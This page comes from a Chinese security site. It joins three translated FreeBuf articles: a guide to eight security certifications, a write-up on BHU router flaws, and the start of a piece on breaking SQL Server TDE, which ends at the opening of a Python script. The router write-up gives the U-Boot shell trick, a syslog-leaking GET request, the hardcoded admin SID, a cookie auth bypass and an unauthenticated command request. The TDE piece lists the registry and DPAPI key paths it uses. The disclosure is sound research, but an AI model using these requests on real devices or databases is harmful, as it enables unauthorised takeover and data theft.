分类： 黑客百科

随着网络安全问题的日益突出化，网络安全也越来越受到人们的重视。从高校到企业，从普通民众再到国家层面，网络安全开始贯穿我们的整个生活。2016年发生了许多攻击事件，几乎所有联网的个人或企业甚至国家都难以幸免。因此，网络安全的人才也越来越受到企业的青睐，市面上也开始出现了种类的证书培训机构。那么，哪些证书的含金量高，值得我们去考呢？以下，我为大家整理出了8大你值得拥有的安全认证。

CISSP（认证注册信息系统安全师）

CISSP 英文全称：“Certified Information Systems Security Professional”，中文全称：“(ISC)²注册信息系统安全专家”，由(ISC)²组织和管理，是目前全球范围内最权威，最专业，最系统的信息安全认证。CISSP对行业各领域的安全专业人员都有认证，包括软件开发，信息安全和医疗保健等。

该组织以信息系统安全专业人员（CISSP）认证而闻名。专家需在CISSP公共知识体系（CBK）的八个领域获得认证，它们分别为：安全和风险管理，资产安全，安全工程，通信和网络安全，身份和访问管理，安全评估和测试，安全操作和软件开发安全 。

这种认证，一般是为已经具备软件开发，并能实施和管理企业安全计划的安全专家而准备的。

认证条件：在信息系统安全CBK规定的8个考试领域中，最少拥有2个范围的专业经验5年。这对那些通过测试，而缺乏经验的人是一个障碍。

考试：CISSP认证的信息系统安全专业人员考试（共250题，时间为：6小时，分数占比70％为通过）

考试费用约为：$ 599 美元

相关链接：

概述

培训材料

在线课程

OSCP（渗透测试认证）

OSCP认证，是一个专门针对Kali Linux渗透测试培训课程的专业认证。该认证机构声称，OSCP认证是一个区别于所有其它认证的考试，考试全程采取手动操作的方式，而不设笔试环节。

每个OSCP考生，都拥有24小时的时间（实际是23小时45分钟）去完成考试，具体如何分配时间由考生自己决定。题目是5台主机（随机抽取），目标是攻入并拿到最高权限（ROOT/SYSTEM）。基于难度级别，成功执行的攻击会获得相应的积分。

认证条件：无

考试：OSCP的认证考试也是另类的存在，考生拥有24小时的时间（实际是23小时45分钟）去完成考试，具体如何分配时间由考生自己决定。题目是5台主机（随机抽取），目标是攻入并拿到最高权限（ROOT/SYSTEM）。24小时结束之后，你还有24小时去完成并提交考试报告（需要详细说明攻击步骤和里程碑截屏来证明确实攻破并获得相应权限）。

考试费用约为：$ 800 美元（30天实验室访问+认证）

相关链接：

概述

培训材料

HCISPP（认证医疗信息与隐私安全员）

Shearer 说：医疗保健行业，已经成为网络攻击的主要目标之一。随着医疗保健机构面临的安全风险日益增加，医疗保健行业的安全人才变得炙手可热。

（ISC）²为保护医疗数据的安全人员，提供了医疗信息与隐私安全员（HCISPP）认证。考试评估HCISPP CBK六个领域的知识，分别为：医疗保健行业，环境监管，医疗保健的隐私和安全，信息治理和风险管理，信息风险评估和第三方风险管理。

认证条件：在相关领域至少有2年的全职工作经验。其中一年，必须是前三个医疗保健领域（医疗保健行业，环境监管，以及医疗保健的隐私和安全）的任何组合。

考试：HCISPP医疗信息与隐私安全员（考试时间为：3小时，共125个题目，占比70％通过）

考试费用约为：$ 349美元（美洲）

相关链接：

概述

培训材料

CompTIA Security+（美国计算机行业协会安全认证）

CompTIA Security + 被认为是一本入门级的认证。虽然该认证不需要过多的经验，但参与考试的考生通常需要具备一定的专业知识，并且需在该领域至少拥有2年的工作经历。

CompTIA Security +  认证涵盖了网络安全，合规性和操作安全，威胁和漏洞，应用程序、数据和主机安全，访问控制和身份管理以及加密技术等方面的能力认证。

认证条件：无，但建议考生最好已拥有CompTIA Network +认证和至少两年的IT安全管理经验。

考试：CompTIA Security +（考试时间为：90分钟，90个题目左右，750/900分为通过）

考试费用约为：$ 320 美元

相关链接：

测试准备

CompTIA CertMaster – （不是必须的）

GIAC安全要素认证（GIAC Security Essentials，GSEC）

GIAC安全要素认证，是由SANS研究所颁发的。主要用于对安全专业人员专业知识的考察。 申请人必须对包括 IP分组，网络协议，DNS，TCP，策略框架，网络映射，认证，事件响应以及病毒和恶意代码在内的，各种安全知识有着较为深入的理解。

认证条件：无。考生可自主选择，是否参加包括考试费的培训课程。

考试：(180个题目，考试时间为：5个小时，及格分数73%)

考试费用约为：$1,249 美元

相关链接：

更多细节

概述

CCSP（认证云安全专家）

来自（ISC）的云安全专家（CCSP）认证²面向专注于云的专业人员。随着越来越多的企业使用云，云安全无疑也成为了企业关注的焦点。CCSP主要评估六个领域的能力：云数据安全，架构概念和设计要求，云平台和基础设施安全，云应用安全，运营和法律。

Shearer 说： “人们对于云的安全性还有诸多疑虑。因此，需要有人能够以安全有效的方式，将他们的组织迁移到云。

CCSP 针对专业人员的认证，申请者必须具备至少5年的全职IT工作经验，并且至少有三年是在信息安全领域，以及一年在云安全领域。

认证条件：无

考试：云安全专家认证（考试时间为：4小时，共125个问题，及格分数70％）

考试费用约为：$ 549 美元（美洲）

相关链接：

训练研讨

考试大纲

CISM（认证信息安全经理）

信息系统审计与控制协会（Information Systems Audit and Control Association，ISACA）认证，主要包括信息安全经理（CISM）和信息系统审计师（Certified Information Systems Auditor，CISA）认证。

CISM可以确保持证人掌握信息安全知识，信息安全项目开发与管理知识。他们具有良好的合规性，能确保安全和业务目标之间的一致性，以及开发和管理信息安全计划的能力。

认证条件：至少有五年的信息安全相关工作经验，或至少有三年的信息安全管理经验。工作经验，必须在认证申请之日起的10年内完成。

考试：信息安全经理认证（共200题，合格分数为：450分）

考试费用约为：会员 $ 465 美元； 非会员 $ 595 美元

相关链接：

研究材料

复习课程

CWSP（认证无线安全专家）

CWSP（认证无线安全专家）认证，是来自认证无线网络专业人员（CWNP）组织的专业级无线局域网认证。

CWSP 主要评估网络安全专业人员对无线软件，工具，趋势和技术的理解。考试中涉及的具体领域包括：WLAN发现技术，入侵和攻击技术，无线入侵防御系统（WIPS）实施，802.11协议分析，以及通过802.11网络使用的，第2层和第3层VPN等。

CWSP是CWNP认证无线网络专家（CWNE）认证的一部分，这是其认证无线网络专业（CWNP）计划的最后一步。申请人经过多年的经验积累，力求获取CWNE认证，以证明其专业水平。

认证条件：无

考试：认证无线安全专家（考试时间为：90分钟，共60个问题，及格分数70％）

考试费用约为： $ 225 美元

相关链接：

关于CWNP

注册

*参考来源 ：DarkReading，FB小编 secist 编译，转载请注明来自FreeBuf.COM

前言

这件事情还得从几个月前说起。有一名叫做Tao Sauvage的老外开开心心的来中国旅游。想着得带点中国的土特产回去，选了半天，选中了一款叫做必虎的无线路由器。

看着这个超低的价格和完美的做工，这个老外感觉自己赚大发了，简直是天赐礼物！249！买不了吃亏！249！买不了上当！必虎的英文翻译叫做“Tiger Will Power”，我擦！叼炸天的名字啊！虎之力路由器！感觉身体被掏空！但是因为是国产路由器，谷歌翻译也不准确，他也不懂中文。

怎么办呢？把路由器拆开研究一下看看吧！橙色的地方可以插入一个SD卡，而红色的地方是UART引脚。故事（漏洞），就是从这里开始的，然后以下的“他”将由第一人称来叙述。

提取路由器固件

废话不多说，直接拿BusPirate连接上这些引脚再说！

开启设备后查看自己的终端，返回了以下信息。

它说按下任意键继续。好吧，这个我随便按了键，然后看到了菜单设置。

##################################

#   BHU Device bootloader menu   #

##################################

[1(t)] Upgrade firmware with tftp //通过tftp对固件进行升级

[2(h)] Upgrade firmware with httpd //通过httpd对固件进行升级

[3(a)] Config device aerver IP Address //设置设备服务器的IP地址

[4(i)] Print device infomation //打印设备信息

[5(d)] Device test //设备测试

[6(l)] License manager //许可证管理

[0(r)] Redevice //控制器

[ (c)] Enter to commad line (2) //按下c查看其它命令

先按下C发现它用的是U-boot，那么可以对其bootargs参数进行设置，这样就不再局限于init程序内了。

Please input cmd key:

CMD> printenv bootargs

bootargs=board=Urouter console=ttyS0,115200 root=31:03 rootfstype=squashfs,jffs2 init=/sbin/init(3) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART)

CMD> setenv bootargs board=Urouter console=ttyS0,115200 rw rootfstype=squashfs,jffs2 init=/bin/sh(4) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART)

CMD> boot

然后再使用printenv命令查看了U-boot的基本设置情况，然后发现只要引导顺序完成，就会运行“/sbin/init”，而这个二进制文件主要负责初始化路由器的Linux系统的。我们使用setenv命令把‘/sbin/init’ 和 ‘/bin/sh’替换一下，要不然是没有办法访问系统文件的。然后再使用boot命令继续刚才的引导。以上几步操作完成后，我们成功的进入了shell命令界面，如下所示。

BusyBox v1.19.4 (2015-09-05 12:01:45 CST) built-in shell (ash)

Enter ‘help’ for a list of built-in commands.

# ls

version  upgrade  sbin     proc     mnt      init     dev

var      tmp      root     overlay  linuxrc  home     bin

usr      sys      rom      opt      lib      etc

千辛万苦，现在我已经可以通过shell命令访问路由器，并且提取固件。接下来我可以分析必虎路由器的通用网关接口和WEB界面了。当然，有很多种方式可以提取这个路由器的固件，我采用的是修改U-Boot参数开启网络，把全部的文件复制到我的电脑上。感兴趣的朋友可以看看这篇文章：《LinuxBootArgs》

逆向分析

现在我需要对这些文件进行整理。首先，我得知道哪些文件是属于web管理接口的，而下面这个是路由器的初始设置。

# cat /etc/rc.d/rc.local

/* [omitted] */

mongoose -listening_ports 80 &

/* [omitted] */

这个Mongoose程序开启了80端口，很熟悉的端口啊！估计这个程序就是必虎路由器的WEB服务器程序了。功夫不负有心人，我还是找到了这个WEB程序的相关文档：《mongoose》。根据文档所示，Mongoose会把WEB目录下的所有文件解析为.cgi后缀。如下面所示。

# ls -al /usr/share/www/cgi-bin/

-rwxrwxr-x    1     29792 cgiSrv.cgi

-rwxrwxr-x    1     16260 cgiPage.cgi

drwxr-xr-x    2         0 ..

drwxrwxr-x    2        52 .

这个路由器的WEB界面主要依赖于两个非常重要的文件。

cgiPage.cgi：这个文件主要是负责控制面板内的页面排序功能

cgiSrv.cgi：这个文件主要是负责后台管理的各个组件的功能

cgiSrv.cgi这个文件是最有意思的，它可以对路由器所有的设置进行更新，所以我打算先从它开始下手。

$ file cgiSrv.cgi

cgiSrv.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), stripped

我使用IDA对其进行逆向分析。虽然这个文件已经剥离了所有的调试符合，包括函数名之类的，但是从main函数开始，这个文件变的有意思起来。

LOAD:00403C48  # int __cdecl main(int argc, const char **argv, const char **envp)

LOAD:00403C48                 .globl main

LOAD:00403C48 main:                                    # DATA XREF: _ftext+18|o

/* [omitted] */

LOAD:00403CE0                 la      $t9, getenv

LOAD:00403CE4                 nop

(6) # 检索请求方式

LOAD:00403CE8                 jalr    $t9 ; getenv

(7) # arg0 = “REQUEST_METHOD”

LOAD:00403CEC                 addiu   $a0, $s0, (aRequest_method – 0x400000)  # “REQUEST_METHOD”

LOAD:00403CF0                 lw      $gp, 0x20+var_10($sp)

LOAD:00403CF4                 lui     $a1, 0x40

(8) # arg0 = getenv(“REQUEST_METHOD”)

LOAD:00403CF8                 move    $a0, $v0

LOAD:00403CFC                 la      $t9, strcmp

LOAD:00403D00                 nop

(9) # 检查请求方式是否为POST

LOAD:00403D04                 jalr    $t9 ; strcmp

(10) # arg1 = “POST”

LOAD:00403D08                 la      $a1, aPost       # “POST”

LOAD:00403D0C                 lw      $gp, 0x20+var_10($sp)

(11) # 如果请求方式不是POST就进行跳转 LOAD:00403D10                 bnez    $v0, loc_not_post

LOAD:00403D14                 nop

(12) # 如果请求方式是POST就调用handle_post

LOAD:00403D18                 jal     handle_post

LOAD:00403D1C                 nop

/* [omitted] */

同样的逻辑也试用于GET类型的请求。如果收到了GET类型的请求，那么会调用相关的函数，并且重命名为handle_get。让我们一起来看看handle_get函数部分。

上面这个模块流程图主要展示了程序内的“if {} else if {} else {}”判断流程。每个函数部分都会检查数据包是否是GET类型的。我们先来看看A模块吧。

/* [omitted] */

LOAD:00403B3C loc_403B3C:                              # CODE XREF: handle_get+DC|j

LOAD:00403B3C                 la      $t9, find_val

(13) # arg1 = “file”

LOAD:00403B40                 la      $a1, aFile       # “file”

(14) # 在URL内检索“file”参数的value

LOAD:00403B48                 jalr    $t9 ; find_val

(15) # arg0 = url

LOAD:00403B4C                 move    $a0, $s2  # s2 = URL

LOAD:00403B50                 lw      $gp, 0x130+var_120($sp)

(16) # 如果没有“?file=”参数，那么就跳转其他页面

LOAD:00403B54                 beqz    $v0, loc_not_file_op

LOAD:00403B58                 move    $s0, $v0

(17) # 如果有“file”，那么调用handler

LOAD:00403B5C                 jal     get_file_handler

LOAD:00403B60                 move    $a0, $v0

在A模块，handler_get函数会先检查在URL内的file参数，并且调用find_val，如果file参数出现在URL内，那么该函数会调用get_file_handler。

LOAD:00401210 get_file_handler:                        # CODE XREF: handle_get+140|p

/* [omitted] */

LOAD:004012B8 loc_4012B8:                              # CODE XREF: get_file_handler+98j

LOAD:004012B8                 lui     $s0, 0x41

LOAD:004012BC                 la      $t9, strcmp

(18) # arg0 = “file”参数的值

LOAD:004012C0                 addiu   $a1, $sp, 0x60+var_48

(19) # arg1 = “syslog”

LOAD:004012C4                 lw      $a0, file_syslog  # “syslog”

LOAD:004012C8                 addu    $v0, $a1, $v1

(20) # 文件的值是否是 “syslog”?

LOAD:004012CC                 jalr    $t9 ; strcmp

LOAD:004012D0                 sb      $zero, 0($v0)

LOAD:004012D4                 lw      $gp, 0x60+var_50($sp)

(21) # Jump if value of “file” != “syslog” （如果file参数的值不是syslog，那么就jump）

LOAD:004012D8                 bnez    $v0, loc_not_syslog

LOAD:004012DC                 addiu   $v0, $s0, (file_syslog – 0x410000)

(22) # Return “/var/syslog” if “syslog” （如果是syslog，那么就读取/var/syslog文件）

LOAD:004012E0                 lw      $v0, (path_syslog – 0x416500)($v0)  # “/var/syslog”

LOAD:004012E4                 b

loc_4012F0 LOAD:004012E8                 nop

LOAD:004012EC  # —————————————————————————

LOAD:004012EC LOAD:004012EC loc_4012EC:                              # CODE XREF: get_file_handler+C8|j

                          (23) # 其它情况返回NULL（空值）

LOAD:004012EC                 move    $v0, $zero

上面这个函数主要是说明，如果file参数的值是syslog，那么就会读取var目录下的syslog文件。我花了点时间对于这个页面的参数进行了一些分析得出以下结论：

1. page=[<html页面的名称>]

参数值末端都以.html结尾

打开文件，并且返回值

我尝试过去读取其它文件，但是没用，它只能读取HTML文件

2.xml=[<配置名称>]

访问配置名称

XML类型的值

3.file=[syslog]

访问/var/syslog文件

打开文件并且返回内容

4. cmd=[system_ready]

可以返回管理员密码的第一个和最后一个明文信息，可以提升暴力破解的成功率。

该漏洞还有30秒到达战场

我比较在意的是“file”参数。一般调用系统文件都需要二次验证的，比如cookie，ssid之类的，而且系统日志大部分都有脱敏，不会保留什么敏感信息，但是事实呢？

我于是尝试构造了一个请求。

GET /cgi-bin/cgiSrv.cgi?file=[syslog] HTTP/1.1

Host: 192.168.62.1

X-Requested-With: XMLHttpRequest

Connection: close

返回的数据包：

HTTP/1.1 200 OK

Content-type: text/plain

Jan  1 00:00:09 BHU syslog.info syslogd started: BusyBox v1.19.4

Jan  1 00:00:09 BHU user.notice kernel: klogger started!

Jan  1 00:00:09 BHU user.notice kernel: Linux version 2.6.31-BHU ([email protected]) (gcc version 4.3.3 (GCC) ) #1 Thu Aug 20 17:02:43 CST 201

/* [omitted] */

Jan  1 00:00:11 BHU local0.err dms[549]: Admin:dms:3 sid:700000000000000 id:0 login

/* [omitted] */

Jan  1 08:02:19 HOSTNAME local0.warn dms[549]: User:admin sid:2jggvfsjkyseala index:3 login

居然包含了管理员的cookie，sid等信息。但是，或许这个cookie是历史cookie，没办法继续使用，你不信？那么我给你演示一下。我用这个cookie带入了一个路由器重启界面，然后，路由器居然重启了？？！！

但是这个漏洞利用起来还是有一些缺陷，假设管理员没登陆过系统，或者把登陆记录清楚了，那么怎么办呢？注意看上面的数据包，它还返回了一个sid:700000000000000。我初步看了一下，所有的必虎路由器的管理员SID都是700000000000000，并且管理员都没有办法更改它。那么我们可否把SID当作cookie来用？答案是可以的，如下图所示。

该漏洞已经大杀特杀

虽然我们已经有管理员权限了，但是我们继续看看还有什么可以利用的地方。我继续使用IDA检查了POST的函数处理模块，然而它似乎比GET类型的函数模块更加可怕。

我把这些if模块又分成了A，B，C三个模块，让我们先看看A模块吧。

LOAD:00403424                 la      $t9, cgi_input_parse

LOAD:00403428                 nop

(24) # 调用 cgi_input_parse()

LOAD:0040342C                 jalr    $t9 ; cgi_input_parse

LOAD:00403430                 nop

LOAD:00403434                 lw      $gp, 0x658+var_640($sp)

(25) # arg1 = “op”

LOAD:00403438                 la      $a1, aOp         # “op”

LOAD:00403440                 la      $t9, find_val

(26) # arg0 = request的Body部分

LOAD:00403444                 move    $a0, $v0

(27) # 得到“op”参数的值

LOAD:00403448                 jalr    $t9 ; find_val

LOAD:0040344C                 move    $s1, $v0

LOAD:00403450                 move    $s0, $v0

LOAD:00403454                 lw      $gp, 0x658+var_640($sp)

(28) # 如果没有“op”参数,那么就退出

LOAD:00403458                 beqz    $s0, b_exit

这个模块会对POST请求进行解析，并且调用cgi_input_parse()。，并且在（25）部分尝试提取参数op的值。而op的值主要是通过find_val函数调用body的部分得到的。如果op有值，就进行到B模块，否则就执行退出。那么我们再来看看B模块的逆向。

LOAD:004036B4                 la      $t9, strcmp

(29) # arg1 = “reboot”

LOAD:004036B8                 la      $a1, aReboot     # “reboot”

(30) # “op” 的值是否是“reboot”?

LOAD:004036C0                 jalr    $t9 ; strcmp

(31) # arg0 = body[“op”]

LOAD:004036C4                 move    $a0, $s0

LOAD:004036C8                 lw      $gp, 0x658+var_640($sp)

LOAD:004036CC                 bnez    $v0, loc_403718

LOAD:004036D0                 lui     $s2, 0x40

这里主要说明，如果op参数的值是reboot，那么会继续到C模块。

(32) # 检查cookie中的SID值

LOAD:004036D4                 jal     get_cookie_sid

LOAD:004036D8                 nop

LOAD:004036DC                 lw      $gp, 0x658+var_640($sp)

(33) # SID的Cookie将作为dml_dms_ucmd的第一个参数传递

LOAD:004036E0                 move    $a0, $v0

LOAD:004036E4                 li      $a1, 1

LOAD:004036E8                 la      $t9, dml_dms_ucmd

LOAD:004036EC                 li      $a2, 3

LOAD:004036F0                 move    $a3, $zero

(34) # 分发任务给dml_dms_ucmd

LOAD:004036F4                 jalr    $t9 ; dml_dms_ucmd

LOAD:004036F8                 nop

首先，它会先调用一个函数，我把它叫做get_cookie_sid（32部分），然后再把值赋予给dml_dms_ucmd（33部分），然后再调用它（34部分）。随后又会进行到下一步。

(35) # 在v1参数内保存返回的值

LOAD:004036FC                 move    $v1, $v0

LOAD:00403700                 li      $v0, 0xFFFFFFFE

LOAD:00403704                 lw      $gp, 0x658+var_640($sp)

(36) # Is v1 != 0xFFFFFFFE? （v1是否不等于0xFFFFFFFE？）

LOAD:00403708                 bne     $v1, $v0, loc_403774

LOAD:0040370C                 lui     $a0, 0x40

(37) # If v1 == 0xFFFFFFFE jump to error message （如果v1等于0xFFFFFFFE，那么就跳转到错误信息）

LOAD:00403710                 b       loc_need_login

LOAD:00403714                 nop

/* [omitted] */

LOAD:00403888 loc_need_login:                              # CODE XREF: handle_post+9CC|j

LOAD:00403888                 la      $t9, mime_header

LOAD:0040388C                 nop

LOAD:00403890                 jalr    $t9 ; mime_header

LOAD:00403894                 addiu   $a0, (aTextXml – 0x400000)  # “text/xml”

LOAD:00403898                 lw      $gp, 0x658+var_640($sp)

LOAD:0040389C                 lui     $a0, 0x40

(38) # 输出错误信息“need_login”

LOAD:004038A0                 la      $t9, printf LOAD:004038A4       b       loc_4038D0

LOAD:004038A8                 la      $a0, aReturnItemResu  # “<return>\n\t<ITEM result=\”need_login\””…

但是假设我们不带入然后值到v1参数（即SID为NULL），那么会怎么样呢？我于是尝试了一下。

然后我分析了一下这整个程序的逻辑：

1.收到op参数

2.调用get_cookie_sid

3.调用dms_dms_ucmd

虽然在GET模块，这个指令应该会执行的，但是在POST的过程中始终会验证SID，这个就有点蛋疼了。怎么绕过去呢？

继续分析get_cookie_sid函数模块。

LOAD:004018C4 get_cookie_sid:                          # CODE XREF: get_xml_handle+20|p

/* [omitted] */

LOAD:004018DC                 la      $t9, getenv

LOAD:004018E0                 lui     $a0, 0x40

(39) # 得到HTTP cookies

LOAD:004018E4                 jalr    $t9 ; getenv

LOAD:004018E8                 la      $a0, aHttp_cookie  # “HTTP_COOKIE”

LOAD:004018EC                 lw      $gp, 0x20+var_10($sp)

LOAD:004018F0                 beqz    $v0, failed

LOAD:004018F4                 lui     $a1, 0x40

LOAD:004018F8                 la      $t9, strstr

LOAD:004018FC                 move    $a0, $v0

(40) # cookie中是否包含“sid=”?

LOAD:00401900                 jalr    $t9 ; strstr

LOAD:00401904                 la      $a1, aSid        # “sid=”

LOAD:00401908                 lw      $gp, 0x20+var_10($sp)

LOAD:0040190C                 beqz    $v0, failed

LOAD:00401910                 move    $v1, $v0

/* [omitted] */

LOAD:00401954 loc_401954:                              # CODE XREF: get_cookie_sid+6C|j

LOAD:00401954                 addiu   $s0, (session_buffer – 0x410000)

LOAD:00401958

LOAD:00401958 loc_401958:                              # CODE XREF: get_cookie_sid+74|j

LOAD:00401958                 la      $t9, strncpy

LOAD:0040195C                 addu    $v0, $a2, $s0

LOAD:00401960                 sb      $zero, 0($v0)

(41) # 在“session_buffer”中复制cookie的值

LOAD:00401964                 jalr    $t9 ; strncpy

LOAD:00401968                 move    $a0, $s0

LOAD:0040196C                 lw      $gp, 0x20+var_10($sp)

LOAD:00401970                 b       loc_40197C

(42) # 把这个值赋予cookie

LOAD:00401974                 move    $v0, $s0

get_session_cookie在得到一个请求后，会检查cookie中是否有sid=这个字符集。如果有，那么某处全局变量将会赋值一个cookie给该参数。当调用dml_dms_ucmd时，返回的值都会用作于第一个参数，而这一切都是在libdml.so函数库中实现。那么也就是说，对于cookie的效验都是在这个库中进行的，那么让我们来看一下这个库。

.text:0003B368 .text:0003B368                 .globl dml_dms_ucmd

.text:0003B368 dml_dms_ucmd:

.text:0003B368

/* [omitted] */

.text:0003B3A0                 move    $s3, $a0

.text:0003B3A4                 beqz    $v0, loc_3B71C

.text:0003B3A8                 move    $s4, $a3

(43) # 记住 a0 = SID cookie的值

                               # 或者可以说是，如果a0什么都不包含（NULL），那么s1 = 0xFFFFFFFE

.text:0003B3AC                 beqz    $a0, loc_exit_function

.text:0003B3B0                 li      $s1, 0xFFFFFFFE

/* [omitted] */

.text:0003B720 loc_exit_function:                           # CODE XREF: dml_dms_ucmd+44|j

.text:0003B720                                          # dml_dms_ucmd+390|j …

.text:0003B720                 lw      $ra, 0x40+var_4($sp)

                           (44) # 返回 s1 (s1 = 0xFFFFFFFE)

.text:0003B724                 move    $v0, $s1

/* [omitted] */

.text:0003B73C                 jr      $ra

.text:0003B740                 addiu   $sp, 0x40

.text:0003B740  # End of function dml_dms_ucmd

只要我第一个参数不要带入空（NULL），那么就不会返回0xFFFFFFFE(-2)。也就是说我cookie随便填写一个都可以成为管理员？！

好吧，我随便写了个cookie，然后进行重启，依然生效了。。。。。花费那么长时间，居然发现cookie可以随意设定！但是一切都是值得的，我起码知道这个问题出在哪里了。

漏洞已经跑到对方血池大杀特杀了

我简单整理了一下前面的工作，然后总结出以下方法可以得到管理员权限：

1. SID写任意字符，只要不为空就行。

2. 查看系统日志得到管理员的cookie

3. SID的值为700000000000000即可

我们现在已经知道了POST模块的处理过程和op参数的基本逻辑，但是这个模块还可以处理一些XML请求，让我们对它继续分析下去。

/* [omitted] */

LOAD:00402E2C                 addiu   $a0, $s2, (aContent_type – 0x400000)  # “CONTENT_TYPE”

LOAD:00402E30                 la      $t9, getenv

LOAD:00402E34                 nop

(45) # 收到“CONTENT_TYPE”的请求

LOAD:00402E38                 jalr    $t9 ; getenv

LOAD:00402E3C                 lui     $s0, 0x40

LOAD:00402E40                 lw      $gp, 0x658+var_640($sp)

LOAD:00402E44                 move    $a0, $v0

LOAD:00402E48                 la      $t9, strstr

LOAD:00402E4C                 nop

(46) # 是否属于“text/xml” 请求?

LOAD:00402E50                 jalr    $t9 ; strstr

LOAD:00402E54                 addiu   $a1, $s0, (aTextXml – 0x400000)  # “text/xml”

LOAD:00402E58                 lw      $gp, 0x658+var_640($sp)

LOAD:00402E5C                 beqz    $v0, b_content_type_specified

/* [omitted] */

(47) # 得到SID cookie的值

LOAD:00402F88                 jal     get_cookie_sid

LOAD:00402F8C                 and     $s0, $v0

LOAD:00402F90                 lw      $gp, 0x658+var_640($sp)

LOAD:00402F94                 move    $a1, $s0

LOAD:00402F98                 sw      $s1, 0x658+var_648($sp)

LOAD:00402F9C                 la      $t9, dml_dms_uxml

LOAD:00402FA0                 move    $a0, $v0

LOAD:00402FA4                 move    $a2, $s3

(48) # 调用‘dml_dms_uxml’函数模块, 并且对body部分和cookie进行效验

LOAD:00402FA8                 jalr    $t9 ; dml_dms_uxml

LOAD:00402FAC                 move    $a3, $s2

继续往下看，貌似dml_dms_uxml比dml_dms_ucmd更加奇葩。

.text:0003AFF8                 .globl dml_dms_uget_xml

.text:0003AFF8 dml_dms_uget_xml:

/* [omitted] */

(49) # 把SID的值复制到s1内

.text:0003B030                 move    $s1, $a0

.text:0003B034                 beqz    $a2, loc_3B33C

.text:0003B038                 move    $s5, $a3

                           (50) # 如果SID的值为空（NULL）

.text:0003B03C                 bnez    $a0, loc_3B050

.text:0003B040                 nop

.text:0003B044                 la      $v0, unk_170000

.text:0003B048                 nop

                           (51) # 那么就把空的SID值替换为一个硬件编码（700000000000000）

.text:0003B04C                 addiu   $s1, $v0, (a70000000000000 – 0x170000)  # “700000000000000”

/* [omitted] */

这个逻辑的感觉就好像是，如果你的没有钱买东西，那么我会给你钱去消费。OMG！真TM人性化的设计！总的来说，如果要使用这个功能，cookie可以直接为空。那么可以构造数据包如下：

POST /cgi-bin/cgiSrv.cgi HTTP/1.1

Host: 192.168.62.1

Content-Type: text/xml

X-Requested-With: XMLHttpRequest

Content-Length: 59

Connection: close

<cmd>

<ITEM cmd=“traceroute” addr=“127.0.0.1” />

</cmd>

继续研究发现还可以命令执行：

这个路由器就像个定时炸弹一样，搞一台在家里面可能莫名其妙的就被人家装上后门监听着了。

* 参考来源：ioactive，本文由Arthur编译，转载请注明来自FreeBuf（Freebuf.COM）

本次调查开始于一个我和客户讨论：他们是否应该安装TDE。如果我们要选出一个最合适的进行静态数据加密的工具，那么非TDE莫属，但是它有一个明显的缺陷。

视频

任何加密自己数据的软件都有一个功能性问题：如果它希望使用自己的数据，就需要对自身数据进行解密。举个例子，如果SQL服务器想要向加密数据库中写入数据，之后把数据返回给用户，他需要合适的解密密钥进行这个操作。

如果系统还需要在无需人工干预的情况下就可以boot，敏感功能无法被单独嵌入到保护性硬件中，之后密钥必须储存在系统的某个位置中，以便服务器在启动时能够访问它。然而，如果密钥被存储在系统中，那所有人都有接入权限，如果整个系统被北方，密钥也会被备份，所以所有数据都会被轻易读取。

“很明显”，解决方法是在储存所有数据之前加密密钥，微软的TDE就是这么做的。不幸的是，它并没有真的解决这个问题，因为为了解密这个已经加密的密钥，你还需要存储这个用于解密的密钥。所有的这些花里胡哨的行为都是为了掩饰密钥的存储。

显然解决方法还是加密加密的密钥…而这么做的工具呢还是微软的TDE，但是它还是存在相同的问题。它一直这么做。虽然最终你不得不停止增加层数并存储最底层的为加密密钥，只要找到这个密钥，那所有的加密就会瞬间土崩瓦解。

这种基本的、不可避免的逻辑必然性让很多人选择拒绝使用这个软件。大家不相信这样一个看似毫无意义、甚至毫无诚信可言的安全机制是由如此大型的公司出售的，简直太可怕了。一些人必须要看到这个机制之后才能相信，所以我们决定用这篇文章详细解释TDE以及如何破解TDE。

TDE加密

在我们开始破解TDE之前，让我们先看看所有数据是如何被加密的。下面这张图提供了我们所需要的所有加密步骤。如果这种方法不是模糊安全的模范，那我不知道这是什么了。

实际上是略有变化的，因为在一些情况下，访问相同数据的路径有很多，还有一些整个过程中非常微妙的地方并没有被提到。给出的路径是我们最感兴趣的问题，因为路径很容易被复制。

我们从底层开始介绍，底层最基础的密钥匙LSA密钥，其他层都在这层之上。它被轻微模糊处理（“代替密码”）后储存在磁盘上的注册表中，但是这点是众所周知的，所以它所提供的方式并不安全。

由于LSA密钥和其他几个密钥都储存在其他文件中，整个体系就会分裂。蓝色图表表明啦包含各种信息关键部分的基础文件：

1、注册表备份或者来自%WINDIR%/System32/Config的配置单元文件SYSTEM，SECURITY和SOFTWARE

2、来自%WINDIR%/System32/Microsoft/Protect/S-1-5-18的DPAPI的主键

3、主数据库和目标用户数据库。数据库可以从一个SQL备份文件或raw .mdf文件中恢复。在使用.mdf文件恢复时，拥有相应的.ldf数据库日志文件尽管不是必须的，但是也非常有用。

在知道这些信息后，所有的加密密钥都可以无需暴力破解直接恢复。

破解TDE

从SQL server的角度看，掌控所有的密钥就是Sevice Master Key（SMK）。对每个服务器／集群来说，它都是独一无二的，保护着它上面的每一层。它被储存在从未使用TDE中加密的主数据库中。然而，它在主数据库中被储存成一个加密值，所以还是需要解密。

破解TDE的一般方法是从目标服务区或者备份中拷贝数据库，然后把数据库放在一个新的由我们控制的“恢复”SQL服务器中。通过复制SMK，所有的加密的数据库都会自动被恢复服务器上的SQL服务器自动解密。恢复服务器上的数据可以被查看、导出等。所以我们不需要完全了解SQL服务器使用数据库加密密钥做了什么，因为我们将使用它对付它自己来为我们解密所有内容。

下面这个简单的python脚本用于文件收集以及提取SMK。涉及到的大部分工作都在恢复DPAPI密钥，多亏了creddump和dpapick项目出色的工作，我们成功拿到了这个密钥。

#!/usr/bin/env python 
# -*- coding: utf-8 -*- 

from DPAPI.Core import blob # https://pypi.python.org/pypi/dpapick/0.3 
from DPAPI.Core import masterkey 
from DPAPI.Core import registry 
from optparse import OptionParser 
from Registry import Registry # https://github.com/williballenthin/python-registry 
from bitstring import ConstBitStream 

import re 
import os 
import sys 

